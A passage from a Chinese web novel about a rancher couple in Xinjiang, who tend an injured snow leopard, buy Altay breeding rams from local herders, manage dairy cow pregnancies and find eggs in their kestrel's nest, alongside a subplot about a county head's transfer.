那边大雪豹也把小雪豹放开了,小雪豹不高兴地又冲上去扑咬,又被他妈一巴掌拍倒在地。 “行了行了都回去吧,人家母子俩叙旧呢，你们都别掺和了”，小家伙们见大雪豹没有伤害人和动物这才放下心来，都躲到了廊下去。 大雪豹又看了姚新泉两人一眼,刚准备转身走,姚新泉突然喊住她,“你先留下来我给你治下伤吧！” 大雪豹迟疑地看着她，姚新泉指了指她的后腿，“在流血,我看到了。” 她留住大雪豹一方面是因为系统说对方需要救助,另一方面则是因为确实看到了雪地上的血。 大雪豹有些迟疑，可还没等她给反应,小雪豹叼着妈妈的尾巴就往屋里拽。 姚新泉很确定她从大雪豹的眼睛里看到了无奈。 她轻笑了一声,“你先进屋,我去拿药品。” 师月江看着她跟小动物沟通心里叹气,你好歹装一装啊，这我是问还是不问啊？ 她拎着医药箱进了小动物的屋子，皮皮他们今天没在这边睡，白天小动物们跟着他们去滑雪,马儿们就回了畜棚那边，更宽敞一些。 他们回来后，小家伙们也不想出来淋雪把毛打湿，所以这边屋子里就狗狗猫猫和小鸟和小白鼬，不过小白鼬胆子小，一般不参与他们的活动。 姚新泉拎着箱子过来放在地上，她走到了大雪豹身边，随着她的靠近，大雪豹的眸子缩成了一条竖线，师月江拉住她不让她继续往前了。 “太危险了”，这家伙弄得跟马上要攻击她了一样。 姚新泉摇了摇头，她伸出一只手试探性地伸到大雪豹面前，大雪豹迟疑地看了她一眼，半晌轻轻凑过去闻了闻她的手。 姚新泉在大雪豹震惊的目光中突然伸手挠了挠她的下巴，大雪豹眼睛都瞪圆了！ 她忍笑，“你乖啊，我先看看你腿上怎么样了。” 师月江实在是不放心她，便待在大雪豹头边上，想着如果她有异动，那立马就控制住她！ 姚新泉凑近了大雪豹的后腿，她小心检查了一下，这才放下心来，“还好，不算太严重，外伤我一时也看不出是什么动物咬的还是在哪里刮得，反正口子不算太大，不过外面温度太低了，还有点冻伤。” 她取出干姜、桂枝和红花，研成细粉后用温水调成糊状，轻轻涂抹在雪豹冻伤的后腿上。雪豹只是微微抽动，没有反抗，相反，药糊的温暖让她格外舒适。 “好姑娘”，姚新泉笑着摸了摸大猫油光水滑的毛发。 接下来是那道划伤，姚新泉用金银花煎的水小心清洗伤口，然后敷上了三七粉。大雪豹疼得耳朵抖动，小雪豹呜咽着跑了过来凑到了妈妈身边，大雪豹蹭了蹭他。 很快，草药的止血镇痛作用让她平静下来。 她又拿出了艾条在雪豹身体上方缓慢移动。艾烟缭绕中，雪豹竟然舒服地伸展了一下身体，发出类似家猫的呼噜声。 小雪豹则是被熏得用爪子不停扒拉鼻子，姚新泉失笑。 “行了，今天先简单处理吧，剩下的等明天再说。” 姚新泉实在是困得不行了，白天滑了那么久的雪，又费了半天劲儿才回来，到了晚上睡了没多久就被吵醒，现在整个人感觉身上都是软的。 “之前大哥不是从国外专门带了一批项圈回来吗，你给我找一个大小差不多的，消毒一下，我给她戴上”，之前师星野出国工作，不知怎么回事竟然买了好多项圈给她寄过来，说是国外兽医给动物戴这个，防舔舐。 等东西拿来后，她没顾大雪豹不太乐意的情绪给她套上后又再三叮嘱不能要，这才回去睡觉了。 可真困啊！ 第二天一早起来之她还没洗漱就先去看了下大猫，见她还在，没精打采地抬头看了自己一眼，姚新泉这才笑了下，“乖孩子，等我过会儿来给你处理伤口啊！” 师月江听见动 静赶紧往外跑，差点跟姚新泉撞上，“你这要干嘛？” 师月江没好气地戳了戳她的额头，“你下次治疗这种野生动物的时候我也得在现场，万一真咬你一下我还能拦着！” 姚新泉失笑，不过她不是不领情，她揉了揉师月江的头发，“知道啦知道啦！我先去洗漱。” 早饭是专门炸的油饼，姚新泉探头看了一眼，“馏个包子就行，一大早上的多麻烦啊！” 师月江笑着舀了两碗炒面，然后倒上开水让她自己搅，又把提前捞出来的泡菜端了过来，又调了个凉拌海带丝。 这海带是人家从内地运过来卖的，都是大片大片的，买回来后他们卷起来切丝烫熟后凉拌着吃。 做法也不麻烦，就切点蒜末、倒点儿辣椒油、芝麻油，再放点儿醋、生抽跟糖、盐就行了，特别爽口。 “天天吃包子也会吃腻的，而且昨天睡前我发面了，不麻烦的。” 姚新泉感慨，“人家有田螺姑娘，咱家有田螺先生啊！” 师月江笑着白了她一眼，又接过她的碗帮她搅好了递给她。 “你咋还会做炒面啊？”印象中这好像是北方的特色，但好像不是北京的吧？ “周会计教我的，她老家是陕西的。” 姚新泉瞪大了眼睛，“你跟周会计还有联系呢？” 师月江不明白她惊讶个什么，“对啊，之前不是在她家买了油葵吗，前一阵子我又去他家买了不少干辣椒，所以聊了几句。” 姚新泉挑了挑眉，行吧，她都不知道周会计会做炒面。 “也不麻烦，就是把小麦面粉放入干锅中慢火炒至微黄，再加入少量芝麻油增香，我又加了些干果什么的放进去一起炒，空口吃没什么甜味儿，你可以加点糖。” 姚新泉舀了一勺拌进去，这下就更好吃了。 粮食的香味是别的东西都没办法代替的，她微微眯起了眼睛。 “对了，那个代养羊的事情咋么样了？” 师月江就知道她肯定还是关心的，不然他做什么非要去问这些？ 他微微勾起了嘴角，“赵明被撤职了，不过书记倒是保住了位置，由镇上出面跟对方联系了，明确说了不再要他们的饲料，本来还想谈谈之后还由对方回收，但对方不乐意，只同意解除合同，后续的羊由合作社自己养，他们不包回收。” 这事儿你要说有问题，那肯定是有问题的，可要说涉及到犯罪，那可真未必，据说人家后来查了，从始至终，没有任何落在纸面的东西能证明对方承诺了赵明，那饲料一定能高效率地增肥。 反正上面也不想再找事情，这事儿就这么拉倒了。 “那羊他们自己养着，草也囤了，回头养好了再卖吧！” 姚新泉叹了口气没再提这个话题，也算是及时止损了，不过这批羊赚不到什么钱的。 牧民养牛羊哪个不是赚点辛苦钱？利润没有那么高的。 在这种情况下，能不亏已经算不错的了。 两人吃好饭收拾好后才去了动物房，她把门帘子拉开通风。里面小动物太多了，要是不注意一点容易生病。 姚新泉过去后摸了摸大猫的身上，“没发烧，体温正常。” 经过一夜的休息，大猫说不上恢复，不过看起来臊眉搭眼的，姚新泉一眼就看出为什么了。 她笑道，“你如果能确保不会舔伤口，那我可以给你取掉。” 大猫似乎是在思考她这话的真实性，半晌凑近了想蹭蹭她，结果撞在了项圈上，大猫委屈。 姚新泉失笑，她干脆把项圈解开，又给她顺了顺脖子上的毛，“乖一点啊，很快就好！” 她用热毛巾敷在大猫后腿关节处。冻伤的皮毛下隐约可见青紫色脉络，像雪地里冻结的溪流。 随后小心翼翼地将伤口周围的毛发剔除，又把伤口上面的毛发小心剪掉。 突然听到一声呜咽，姚新泉还奇怪是谁呢，就见师月江一脸怪异地指着大猫，“她在伤心。” 没错，可不就是伤心了吗？ 姚新泉无奈扶额，“姑娘，你这毛几天就长出来了，我就给你剃个毛，你哭啥啊？” 大猫委屈巴巴地看着姚新泉，她又不会说话，只瞪着大眼睛，看得人心里又酸又软。 姚新泉叹了口气，这跟一巴掌把她儿子拍到雪地里的暴躁大猫可完全是判若两猫啊！ “行了行了，你儿子出去遛弯儿了，等他回来看到你伤心肯定得闹你”，这么大的小雪豹其实还没离开妈妈，不过因为上次的山洪意外分开了。 所以小雪豹见到妈妈还是特别高兴的，不过他皮得很，肯定会闹他妈。 安抚好大猫后，姚新泉赶紧把伤口彻底处理好，又施针给她处理了一下。 大猫也被暂时留在家里了。 第209章 “萨哈烈,这阿勒泰羊你选到合适的了吗？” 萨哈烈在电话里笑了起来，“你这不就是小瞧我了吗？我给你找了一批种公，你看哪天有时间我带你去看看。” “我要的可不少啊”,姚新泉笑了起来,时间过得飞快,转眼家里湖羊和杜泊羊杂交的羊已经差不多8个月了,完全可以配种,不过之前因为各种事情耽搁着她也没时间自己出去找合适的阿勒泰种公。 去年她就琢磨着找种公了,结果找到现在才正儿八经开始，而且最后还是拜托的萨哈烈。 她认识的两个羊贩子里面，老马主要还是面对的大规模养殖户，更多的是买来就能直接宰杀了去卖的。 而萨哈烈主要做的活羊生意,所以这事儿还是找萨哈烈比较合适。 “我跟人家说好了,到时候带你上门去看就行了,总共说了40多头种公，都是我筛过一遍的，让你挑十来二十只肯定没问题”,萨哈烈这点自信还是有的。 姚新泉自然是信他的,不然做什么找他？ “那行，你看你今天有空吗,我们今天就去？” 萨哈烈自然是没意见的,两人约好时间和地点后姚新泉赶紧去吃了个早饭,师月江也听到她的话了,“那家里的事情我盯着，你去忙吧！” 四月底的牧场上事情也不少，今年冬天虽然还比较冷，但春天却意外来得很早,四月份的天温度都有20度了，牲畜们已经放出去了，家禽们这两天也放出去了。 本来鹅应该2月份就下蛋的，但是估计因为温度还没回暖，他们都还没下蛋，这刚放出去立马就下蛋了。 在还没训练好他们定点下蛋的情况下，师月江还得每天去捡蛋。 还有珍珠鸡的蛋，石县长那边最后决定给他们一笔劳务费让他们帮忙孵化，姚新泉两人觉得也无妨便答应了下来，这事儿也得盯着。 姚新泉没去骑摩托，她去畜棚把皮皮牵了过来。 姚新泉给皮皮顺了顺毛，把马鞍放上后，双手一撑便骑在了马上，她笑着朝师月江挥了挥手，“我走啦！” 师月江看着她飞驰的背影忍不住轻笑，怎么每天都这么活力满满啊！ 他收拾好东西后骑上平安也出发了，不过他还牵了个缰绳，一匹哈萨克马拉着车在后面小跑。 两个小家伙骨架子长成，已经可以骑了，两人便毫不客气地用他们代替了摩托车出行，当然了，去县里的话还是骑摩托车或者开车。 姚新泉之所以最近特别喜欢骑皮皮还有一个原因，这家伙好像有点变异…… 不是说别的，而是说她的身体条件特别好！ 正常来说汗血宝马以长距离耐力著称，而平安这种阿拉伯马的速度在中等距离中更占优势。 皮皮这种伊犁马也是后来培育出来的，在速度上不是特别占优势，短距离冲刺速度也只是中等，但以负重能力和适应性见长，适合山地草原环境，用作工作马特别合适。 但皮皮不一样，这家伙不管是耐力还是速度都是顶尖的！ 在中等距离中能和平安一较高下，在长距离中也不落后汗血宝马什么，就很迷，一度让姚新泉非常费解。 不过这种事情她是只有高兴的！ 至于平安的话，短距离、中长距离都还好，速度很快，长距离的话姚新泉没让他试过，毕竟这家伙的腿目前是恢复了，但是总是得注意一些的。 慢慢跑也就罢了，长距离又是竞速，这不就在拿他的腿开玩笑嘛！ 另一边姚新泉去了萨哈烈指定的地方，没一会儿萨哈烈也到了，对方看着皮皮的眼神简直放光，下马后就想来摸摸她。 皮皮鼻子用力喷了下气把对方吓走，随后昂着大脑袋斜着眼睛看他。 萨哈烈失笑，他指着皮皮一时间不知道说什么。 等姚新泉把皮皮拴在柱子上他才忍不住笑骂，“这家伙脾气可真大！” 姚新泉忍笑，“谁让你每次见它都要摸人家屁股？” 萨哈烈尴尬挠头，“你别这样说话，弄得我好像是个流氓一样！”还不是太喜欢皮皮了吗？ 他之前其实想要一匹国外的纯血马，这里的纯血马是指血统可追溯至达利阿拉伯、高多芬阿拉伯、拜尔利土耳其这三大始祖种马。 倒不是他崇洋媚外或者什么的，这不是国外的那些赛马比赛里面还是这些马的速度更占优势吗！ “听说咱们市里好像要弄一个什么节日，里面应该有赛马项目，你参加吗？”他看着皮皮的眼神简直在放光，“皮皮这资质不参加就可惜了！” “赛马？”姚新泉有些忙让，她没听说啊？ “你听谁说的？” 萨哈烈摆了摆手，“就是些小道消息，但还不知道是什么时候，也不知道在哪儿办呢！” 各地经济都在飞速发展，他们新省也一样，但还是那句话，这边没有什么支柱产业，所以上面领导就盯上旅游业了。 “说是小道消息也不算”，萨哈烈摆了摆手不想再说了，反正过一段时间就知道了。 “艾麦提家也养了几十年羊了，他家的阿勒泰羊就还不错”，萨哈烈引着她往里走。 艾买提听到动静后笑着走了过来，他不会说汉话，几人是用哈语沟通的。 “家里种公我自己留了一些繁殖，我也在往外卖，你看看能看上哪头？” 萨哈烈小声跟她解释，艾买提家里也做繁育的生意，也直接卖肉羊。每年剩下的羊羔子有的留下繁育有的就煽了育肥。 但家里规模就这么大，留下来的公羊也用不了太多，所以他家也往外卖种公。 姚新泉点了点头，艾买提的媳妇儿让几人进屋喝奶茶，姚新泉微微探头看了一眼，艾买提的 毡房比姚新泉想象的宽敞，地上铺着褪色的花毡，铁炉子没在烧了，不过还没弄出去，家里有点乱，但还算干净。 “羊圈在后面，直接去看吧”，萨哈烈拒绝了，他们今天还要去看好几家呢，一家家进门就喝茶这得看到什么时候去？ 姚新泉也点头，艾买提便带着几人往后走。 羊圈里气味浓重，混合着干草、粪便和羊身上的膻味。姚新泉从背包里掏出卷尺和记录本，艾买提和萨哈烈则忙着把羊赶出来。阿勒泰羊体型中等，毛色以棕红为主，公羊的角呈螺旋状向后弯曲。 “这只骨架不错”，姚新泉指着一只肩高约75公分的公羊说到。艾买提把它牵出来，姚新泉蹲下身，手指顺着羊的脊椎摸下去，又掰开嘴看牙齿，“三岁口，牙口整齐。” 她又量了胸围，记录下数据，然后遗憾地摇摇头，“后躯不够丰满，产肉量会受影响。” 一连看了五只，姚新泉都不满意。艾买提脸上的笑容渐渐消失，甚至觉得她是来找茬的。 他踢了一脚干草堆，也不看姚新泉，只是问萨哈烈，“我家的羊是这一带最好的，你们要不想要就直说，做什么要这样欺负人？” 这不耍人玩儿吗？这么好的羊，她又是这里不好，又是那里不行的。 哪里不行了？ 姚新泉好脾气地笑了起来，“大叔，是我要买种公，你看萨哈烈也没用的。我之前跟萨哈烈说的就是让他帮我找最好的种公，他带我来你家就说明你家羊是真不错。我没选上只是我要求高，不是你家羊不好。” 艾买提不以为然，姚新泉忍不住看向萨哈烈，没跟他说价钱？ 萨哈烈微微摇了摇头，这不是怕对方狮子大开口吗？ 姚新泉笑了笑，这事儿没什么好瞒的，“大叔，我忘了跟你说，我买种公的价格比市面上高3成，那我挑的严格一点不是应该的吗？” 艾买提愣了一下，随后看向萨哈烈求证，“真的？” 萨哈烈没好气地点头，“还能拿这事儿骗你？人家是带着诚意来的，就算把你最好的羊选走了，那价格也贵啊！你别的羊一样按原价卖！” 艾买提想了想没再拒绝，反而转身看向羊群，突然一把抓住一头羊的角。 那公羊跟发了狠一样就要朝他撞过来，萨哈烈和姚新泉赶忙去帮忙。 等三人将羊按住后萨哈烈这才松了口气，笑骂，“这没煽过的就是有劲儿！” 等羊平复下来后，姚新泉又拿起尺子和纸笔记录了起来，这头不大一样。 “肩高过八十了，胸围一百一，后躯这么箍”，姚新泉拍了拍羊屁股，心里满意了几分。 又凑到羊头边上扒拉开羊嘴，查看牙齿，“牙口整齐，三岁半，毛色棕红，螺旋角两圈半”。 她没掩饰自己的高兴，轻轻拍了拍羊脑袋，“这羊我要了！” 艾买提脸上露出笑意来，将羊放到一边后又看了其他的羊，姚新泉都不算太满意，最后就定了这一头。 姚新泉报了个价格，艾买提没还价，两人商量好把羊先放在这，晚一点儿再来拉，艾买提欣然答应。 “你这价格也报的太实在了”，出了院门后萨哈烈忍不住感慨，要不艾买提怎么不还价呢？ 姚新泉笑着摆了摆手，“我喜欢跟哈族人做生意”，从小到大她接触的哈族人都是老实本分的，也许他们中也有没那么勤快的人，但人是真老实。 姚新泉又是那种，你越老实我越没办法欺负你的性格。 再说了，“都赚的是辛苦钱，我也不差那么一点半点了”，有什么就跟大老板计较去，跟普通牧民计较什么？ 萨哈烈笑着比了个大拇指，“姚老板大气！” 第210章 萨哈烈带她去的第二家是位老牧人家,老人叫别克，住在山坳里，出去一趟还挺不容易的。 他的毡房破旧,羊圈也是用树枝临时围的。别克的老伴正在毡房外晒奶疙瘩,见他们来,忙用围裙擦手去煮茶。 怕姚新泉留下不好的印象,别克有些不好意思地解释,“去年冬天雪太大了,家里羊圈被压塌，死了几十头羊”。 姚新泉心里憋得慌，她转头看着那些瘦骨嶙峋的羊，心里愈发难受了。看老天爷吃饭就是这样,谁也说不好老天爷明天又给你摆哪张脸。 她在羊圈外转了一圈,突然看到一头感觉不错,“那头帮我拉出来看一下”。 别克赶忙进去把羊弄了出来，姚新泉量了一圈后心里很是满意，三四岁的小公羊,毛色纯正,骨架匀称。 “这只我要了”，瘦归瘦了点儿,但本身资质不错,好好喂养一段时间,然后再驱驱虫,这羊就能拉出来配了。 别克浑浊的眼睛亮了一下，“我们家种羊都是好的，还有别的吗？” 姚新泉摇了摇头，别的没看中的了。 在别克失望的目光中她报出了一个让对方惊喜的价格,想了想她又问，“你是要现钱还是我给你拉上一车价格相等的面粉、油盐这些过来？” 别克这下更高兴了，“要面粉，要油盐！” 他们这出去一趟麻烦，要先上山再下山，他家的马也是老伙计了，出去一趟也够折腾的，他也舍不得。 姚新泉点了点头，大概算 了一下价格后又多给了他半袋子面粉，“羊先放你这儿，回头我们来拉。” 出了别克家后，萨哈烈打趣地看向她，“你大善人啊！” 就算按照艾买提家的种羊的价格来算，她这都快多给人家一袋半面粉了！ 姚新泉白了他一眼，“人家可遭了灾啊！再说了，那羊确实不错，而且我是从人家直接买的麦子自己去磨的面粉，会便宜一些，不亏。” 确实不能说亏，顶多说不是太划算罢了，但还是那句话，她不太想跟最底层的老百姓去计较这些，一袋面粉可能是人家一两个月的口粮，她虽然也不能说赚多少钱吧，但是来钱至少比他们快一些！ 萨哈烈没再说什么，但心里对姚新泉的印象更好了，怎么能不好呢？没谁会不愿意跟善良的人相处吧？ 两人下午又跑了一家，但姚新泉从人家七八头种公中也只挑出一头来而已，但给的价格确实是高，所以弄得牧民是又气又喜。 喜的是价格卖得高，气得是自家那么好的种公她竟然看不上？ 第二天一早，萨哈烈又带着姚新泉出门了，姚新泉没问目的地，可看着这越来越熟悉的路她惊讶了起来，竟然是这？ 萨哈烈见她似乎不解便道，“这边有一家老养殖户了，你别看规模不大，他家的种羊特好！” 姚新泉到了地方后忍不住咂舌，还真是特好，总共八头种公，有五头她都看上了！ “老爷子，你这几头羊我全都要了，价格的话我给你这个数你看成吗？”她比了三根手指。 对方笑了笑摇头，姚新泉还没说话，萨哈烈倒先不高兴了，“迪亚斯你不能这样啊，你这羊拿到市面去卖最多2000出头，人家给你给到3了，你还不满意，你要干嘛啊？” 萨哈烈觉得这人不给自己面子，刚要说什么迪亚斯没忍住瞪了他一眼，“我说是太便宜了吗？” “那你还能是觉得给的太多了？”萨哈烈嗤笑，可对上老汉的眼神后忍不住怀疑，“你还真嫌给高了？你有病吧？” 他脱口而出，两人忍俊不禁。 “你给我1500就行，但我之后要两头母羊，你还得给我配好了。” 姚新泉挑眉，“老爷子，你想要我养的羊？” 她在搞新品种的羊这件事在县里知道的人不少，还有不少人觉得她在胡来，一个小姑娘不踏踏实实养羊，天天搞这种噱头。 倒没想到这位竟然会这么信任自己！ “我认识你，也认识你男人。” 姚新泉莞尔，她们只来过这里一次，是因为什么就不言而喻了。 “上回暴雨你们羊圈塌了我们过来的时候你在场？” 没错，这个村子就是上次大暴雨艾力打电话让他们过来帮忙的村子。 老汉点头，脸上笑容更和善了，“那天我跟上去送手电筒了”。 姚新泉这才响了起来，之前那次他们送产妇下山的时候有一位老汉就跟了上去想给它们指路来着。 “我见识过你治羊的手艺，我相信你养羊也不是胡来，你要培育的羊肯定不一般！” 姚新泉失笑，感觉自己都没有对方这么自信！ 她想了想后还是道，“你这种羊我还是用正常价格买，之后我那羊出来后你自己过去看，你挑两头回来，我给你按普通羊的价格算。” 她折腾这么一圈下来，羊的价格肯定要提上去才能回本，不然就搞得没意思了。 迪亚斯想了想后点头，“成！” 就这样，萨哈烈带她跑了三四天，总共挑出来16头种公，都很不错。 姚新泉把羊一一接回来之后先小心驱虫后又隔离了几天，确认没什么问题，并且母羊都发情了这才合笼。 看着顺利配种，姚新泉和师月江两人相视一笑，都想起了之前大体格子的杜泊羊和身材娇小的湖羊配种时还得人辅助的窘态。 等确定羊都配上后两人才把公羊都轰了回去，两人刚回屋，就听到电话响了。 姚新泉去接电话，听到声音后她笑了起来，“石县长，您怎么有空打过来啊？” 那边像是说了什么话，姚新泉愣了一下，“你要调走？” 师月江也懵了一下，赶紧凑了过来，姚新泉把话筒凑过去了一点，就听电话里是石县长略带变形的声音，一时也听不出是高兴还是不高兴，“是的，我确实要调走，下周就得上任。” 石县长现在的心情确实很难说到底是好还是不好，他两天前突然接到上面的调职文书，把他调到隔壁县当县长，他整个人都是懵的。 黄县长已经调走，所以他今年是已经继任这边的县长职位了，算是平调到隔壁县去，谈不上什么高兴不高兴的。 但问题是自己本来打算在这边大干一场的啊！ 不管是乌洽会还是跟其他内陆公司合作推广本地产品发展经济，他是有自己的工作计划的！ 他想着自己在这个位置上少说也能待个五六年吧，不说发展成什么样子，至少让孩子能读得起书，让老百姓一个月能多吃几回肉啊！ 谁能想到突然他就挪窝了？ 自己的计划没办法亲自实施了，他也没办法看到县变得越来越好，所以他肯定是遗憾的。 与此同时他还多了一层担忧，为啥没人通知他突然就调任？那边到底是有什么烂摊子需要他接手啊？ 他这两天托人去查了查，怎么说呢，工作确实不好干啊！ 但这其实又是一件让人值得期待的事情，毕竟一方面领导让自己去处理烂摊子说明相信自己的实力。另一方面外面可是有传闻说是源县迟早是要升级为市的。 许多人以为这是传言，但是他们内部人知道，这就是真的。 县升级为市一方面对人口数量和城镇化率有要求，另一方面对经济也有要求。 源县的经济是能勉强达到全国县级平均水平以上的，是因为什么呢？ 他们县有个小的金矿！ 虽然小，可那也是金矿！ 不过因为规模确实不大，而且也不能开发得太厉害了，导致矿场需要的人工并不多，但那也是金矿啊！ 反正他们县的财政收入因为这个矿在他们市里那绝对是头一份儿的！ 所以现在他们县的主要问题就是不缺钱，但缺人。 这也是为什么外面都传源县要成为市的原因。 至于为什么说迟早，人口增长那是真不容易啊！ 特别是现在还有计划生育了，甭管有没有工作都不能瞎生，而且大家还都喜欢往内地跑，这也就导致他们县人口增长的数量特别少。 因为这些原因，上面就想办法想搞搞别的产业，争取能增加县的常住人口，他们就想到了旅游业。 1979年自治区旅游事业管理局成立，1984年更名为自治区旅游局。这意味着旅游业正式纳入政府行政管理体系，旅游业的快速发展及其管理体制的逐步完善。 这时候想发展旅游业不算晚，甚至算早的。 但问题是想发展旅游业不是说我把那草原、森林前面竖块儿牌子就算是个景点，完全不用管理的。 不管是安全还是配套设施都得做到位了才行啊！ 这不是，大半个月前，中亚那边来了一波游客，结果人家在旅游过程中被偷了东西，影响特别差！ 虽然最后找回来了。 五六天前那就更过分了，因为没有划分好安全区域，有游客在游玩的过程中遭遇了野兽，被咬伤后又没有及时被救治，就这样没了三个人。 加上之前也有类似事情发生过，上面领导讨论后决定还是换人吧！ 就这样，因为之前乌洽会上表现突出的石县长就这么被拎出来了。 210-218 第211章 石县长走得非常快,姚新泉两人甚至没来得及去送他，不过他倒是提前跟两人讲过了，后来接任的这位领导不仅是他曾经的战友,还跟他在理念等方面完全一致。 上面也不是有毛病,见不得他们县好,非要把人调走。 他们把石县长调走是相信他有本事,能够接手源县的烂摊子,另外还能把源县的旅游业搞上去,进而提供常住人口数量，哪怕不在他的手上升市，但至少得平稳发展吧？ 像这种意外事故也好小偷小摸也罢，可都别再有了啊！ 真是丢人丢到国外去了！ 但这不代表他们要放弃这个县啊！ 所以得找一个有能力,同时又跟石县长思路一样,能让这个县平稳过渡的领导,这不就找到了秦威秦县长头上了。 姚新泉两人跟秦县长没见过面，不过他给两人打了个电话，大概就是说今年地乌洽会可能还需要跟他们俩再沟通沟通。 今年牧场的羊还是没办法肉用,所以两人一样是义务参与。 不过有了前一年的经验,也不用事事都让姚新泉盯着了，县里工作人员不是傻子,只是有些人见识没那么广而已。 因为这,石县长已经送好多人出去学习过了 ,所以秦县长接手的县可以说是今非昔比。 姚新泉两人现在正忙着给奶牛检查妊娠情况呢！ 说起来也是好笑,之前姚新泉一直觉得母牛应该要到泌乳期结束后再配种。 她没专门去查资料，家里也没养过奶牛，这是第一茬，她也不知道为啥会这么想,但自然而然地没把给牛配种的事情放在计划里。 还是艾力，十一月左右发现她家的牛还没配觉得奇怪便找了过来，当时她问姚新泉，“我知道你家有褐牛种公，还是上次下雨那次从人家那里买回来的，你是又买了黑白花种公吗？还是要用褐牛配？” 姚新泉都懵了，“配什么？” 艾力也不知道她怎么就突然傻掉了，“你家奶牛不要配吗？不配的话，后面干奶期可就更长了啊！” 姚新泉感觉出不对了，她赶忙问，“那奶牛产奶的时候还能配种，如果怀孕的话不会影响产奶量或者挤奶不会影响胎儿发育吗？” 艾力一脸茫然地看着她，但还是解释道，“不会啊，只要保证营养跟得上，在孕晚期停止挤奶给牛犊子留点营养就成了。” 他越说声音越小，脸上却是恍然，“所以你是不知道泌乳期可以配种？” 姚新泉的脸唰地就红了。 她看爸妈养了这么多年羊，自己也养了一年多了，她竟然没想过这个…… 艾力本来不想笑的，可是看她脸红的跟个西红柿一样根本忍不住，倒是一旁的师月江忍不住辩解，“我也不知道啊！” 姚新泉哀叹，“你可别说了！” 师月江那就是个半吊子，自己要是连他都不如，那可别开什么牧场了！ 不过姚新泉也是下定决心不能只去学那些听起来高深一些的问题，那些看似简单，养殖户都能知道的事情她也得学，毕竟甭管人家科不科学，人家都养了十来二十年，至少不会犯这种错误。 见姚新泉实在是沮丧，艾力也不好意思再笑她了，又问她，“那你是考虑用褐牛配黑白花还是怎么样？” 还别说，姚新泉还真考虑过这个问题。 “我都想用褐牛配”，褐牛配褐牛，只要关注了不是近亲配种，避免了退化的风险，其他诸如产奶量没有黑白花那么大之类的这都是小问题。 至于黑白花的话，她没考虑继续用黑白花配。 本身黑白花牛的牛奶品质就不如褐牛，哪怕产奶量大又怎么样？ 她现在牛奶的主要收购方就是师月江他们的奶厂，那家奶厂现在也收普通牛奶，走的是相对平价的路线，自家牛奶走的是高档的路线，对她来说，品质比数量更重要。 再说了因为长期的高度选育产奶量，导致黑白花奶牛在繁殖力、抗病性、肢体健壮度和使用寿命方面存在一些遗传弱点，姚新泉没有必须选择黑白花去配的理由。 不过杂交的话倒是有个麻烦，那就是如果将来出售的话不方便，毕竟不是所有人都愿意要所谓的杂交牛的。 不过这对姚新泉来说问题也不算太大，她的牧场上现在除了一些家禽之外，主要也就是牛羊了。 羊是一拨拨进又一拨拨出，之后繁育出来的杂交羊，如果市场好的话，她是打算自己繁育，人家养大，到时候看是自己育肥还是人家直接育肥好了，然后她卖出去，这样倒几手钱也不少赚，事情还没那么多，牧场上也有足够的草场来养这些可能会没人要的杂交牛。 所以这都不是事儿！ 而用黑白花和褐牛配的话，杂交出来的牛在繁殖力、免疫力、体质和寿命方面会表现出显著的优势，乳脂率和乳蛋白率也会有显著提高的。 另外还可以改良黑白花牛可能存在的肢蹄较弱、□□结构不佳等问题，让后代体型更健壮，做肉牛也更划算。 不过家里能做种公的牛也只有一头之前买回来的那头瘦巴巴，还得再买或者买冻精。 这次不是她不想买种公，是出去找了一圈后只找到一头合适的种公，没办法剩下的还是用的冻精。 倒不是她瞧不上冻精，主要是她入行这么久才发现如今市面上不少冻精其实良莠不齐，家里牛能顺利配种也没出现，我要褐牛的，你给我黑白花牛的这种离谱情况，这算是不错的。 她是听说了一些事情的，不过不是本县的。 之前有个老汉从非正规渠道购买了冻精，说是荷斯坦奶牛的，他家里刚好有五头奶牛处于发情期，所以就买了回来，价格不算便宜，但是比正规渠道的肯定还是便宜一些。 买回来后有三头奶牛没配上，还有两头虽然配上了，但是冻精估计也不是什么正经东西，导致牛犊子身体一般，骨架子也小，不管是做肉牛还是做奶牛都没什么发展空间。 牧民损失真不小。 还有好几茬这种事情，可能也跟监管不到位有关系，反正姚新泉是对这个有点警惕了，一再叮嘱艾力，贵一点无所谓，得是好东西才行！ 顺利配上后到现在也差不多六个来月，姚新泉正在给奶牛检查身体。 她先给牛摸了下脉，确认没什么大毛病，又进行直肠触诊，确定胎儿也是健康的才放下心来。 “差不多准备让牛进入干奶期吧”，姚新泉道，“我还得调整下牛的饲料，不能只是散养了。” 她又问师月江，“奶厂那边提前通知了吧？” 这将近三四个月是没有牛奶可供的，那边肯定得提前做好准备。 师月江点了点头，“那边管的还不错，之前产出的高档奶粉没有售罄，留了一些下来，这几个月省着销售也能顶的过去。” 牧场上的事情就是看着好像没有具体给你确定好要做什么该做什么，但只要你不想闲着，那你就有无数的事情可以做。 趁着牲畜都出去了，师月江开始打扫畜棚，姚新泉则是打算把家里的动物房收拾一下。 地上、墙上、窗户上，到处都是毛，也搞不清楚是谁的，反正漫天飘得都是毛。 姚新泉拿了个篮子，这边抓一缕，那边揪一把，等看到鸟窝的时候她突然发现不对劲了。 “师月江，师月江！” 师月江听到她的喊声吓了一跳，赶紧往那边跑去，“怎么了？” 姚新泉一脸不敢置信地摊开手给他看，手上一把蛋。 师月江懵了，他挠了挠头，“鹌鹑蛋？” 主要这确实不像鸡蛋，比鸡蛋小太多了，鹅蛋、鸭蛋这些就更别说了。 姚新泉茫然地眨眼，“哪来的鹌鹑？” “那你在哪找到的？” 姚新泉赶忙朝位置偏下的一个鸟窝里抬了抬下巴，“那边。” “这是红隼窝啊”，师月江瞪大了眼睛，“不会是红隼的蛋吧！” “可咱家红隼是雄鸟啊！” 两人大眼瞪小眼一时不知道到底是咋回事。 半晌姚新泉深吸一口气，先把蛋放回了鸟窝里，一共5枚。 她举起蛋对着太阳看了看，“还是受精的，我摸着有点凉了，得赶紧孵化。” 她咬牙，想了想突然出去吹了个响亮的口哨，口哨声一传出去没一会儿远处便有一道黑影像一道利剑一样冲了过来，落在了姚新泉的怀里。 姚新泉摸了摸小金的翅膀没说话，等她的跟屁虫红隼也落到师月江身上后，姚新泉把小金放到窝里，提着红隼的翅根让他看自己的鸟巢，“这是你的娃？” 姚新泉愣是从红隼的眼睛中看出了心虚来，她深吸一口气，把红隼小心放到了鸟窝上，见红隼要起来，她拍了拍对方的鸟喙警告，“不许动！” 师月江失笑，还有些不可置信，“真是他的？” 姚新泉冷笑，“可不嘛，你看他心虚的样子。” “那雌鸟呢？还得孵蛋啊！”红隼都是雌鸟孵蛋的，这鸟妈妈找不着的话蛋怎么办？ 第212章 212章“让娃他爹来孵！”姚…… 